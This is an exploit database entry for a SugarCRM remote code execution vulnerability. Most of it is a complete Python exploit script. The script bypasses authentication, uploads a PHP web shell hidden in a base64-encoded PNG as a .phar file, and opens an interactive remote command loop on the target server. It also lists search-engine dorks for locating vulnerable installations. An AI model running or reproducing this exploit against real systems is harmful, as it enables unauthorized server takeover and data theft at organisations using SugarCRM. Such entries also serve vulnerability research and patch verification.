SugarCRM 12.2.0 - Remote Code Execution (RCE)

vendor:

SugarCRM

by:

sw33t.0day

9.8

CVSS

CRITICAL

Remote Code Execution (RCE)

CWE

Product Name: SugarCRM

Affected Version From: all commercial versions up to 12.2.0

Affected Version To: 12.2.2000

Patch Exists: YES

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2020

SugarCRM 12.2.0 – Remote Code Execution (RCE)

A vulnerability in SugarCRM versions up to 12.2.0 allows an attacker to execute arbitrary code on the server. This is due to the application not properly validating user-supplied input. An attacker can exploit this vulnerability by sending a malicious request to the server. This can allow the attacker to execute arbitrary code on the server.

Mitigation:

Upgrade to the latest version of SugarCRM and ensure that all user-supplied input is properly validated.

Source

Exploit-DB raw data:

#!/usr/bin/env python

# Exploit Title: SugarCRM 12.2.0 - Remote Code Execution (RCE)
# Exploit Author: sw33t.0day
# Vendor Homepage: https://www.sugarcrm.com
# Version: all commercial versions up to 12.2.0

# Dorks:
# https://www.google.com/search?q=site:sugarondemand.com&filter=0
# https://www.google.com/search?q=intitle:"SugarCRM"+inurl:index.php
# https://www.shodan.io/search?query=http.title:"SugarCRM"
# https://search.censys.io/search?resource=hosts&q=services.http.response.html_title:"SugarCRM"
# https://search.censys.io/search?resource=hosts&q=services.http.response.headers.content_security_policy:"*.sugarcrm.com"

import base64, re, requests, sys, uuid

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 2:
	sys.exit("Usage: %s [URL]" % sys.argv[0])
	
print "[+] Sending authentication request"

url     = sys.argv[1] + "/index.php"
session = {"PHPSESSID": str(uuid.uuid4())}
params  = {"module": "Users", "action": "Authenticate", "user_name": 1, "user_password": 1}

requests.post(url, cookies=session, data=params, verify=False)

print "[+] Uploading PHP shell\n"

png_sh = "iVBORw0KGgoAAAANSUhEUgAAABkAAAAUCAMAAABPqWaPAAAAS1BMVEU8P3BocCBlY2hvICIjIyMjIyI7IHBhc3N0aHJ1KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJjIl0pKTsgZWNobyAiIyMjIyMiOyA/PiD2GHg3AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAKklEQVQokWNgwA0YmZhZWNnYOTi5uHl4+fgFBIWERUTFxCXwaBkFQxQAADC+AS1MHloSAAAAAElFTkSuQmCC"
upload = {"file": ("sweet.phar", base64.b64decode(png_sh), "image/png")} # you can also try with other extensions like .php7 .php5 or .phtml
params = {"module": "EmailTemplates", "action": "AttachFiles"}

requests.post(url, cookies=session, data=params, files=upload, verify=False)

url = sys.argv[1] + "/cache/images/sweet.phar"

while True:
	cmd = raw_input("# ")
	res = requests.post(url, data={"c": base64.b64encode(cmd)}, verify=False)
	res = re.search("#####(.*)#####", res.text, re.DOTALL)
	if res:
		print res.group(1)
	else:
		sys.exit("\n[+] Failure!\n")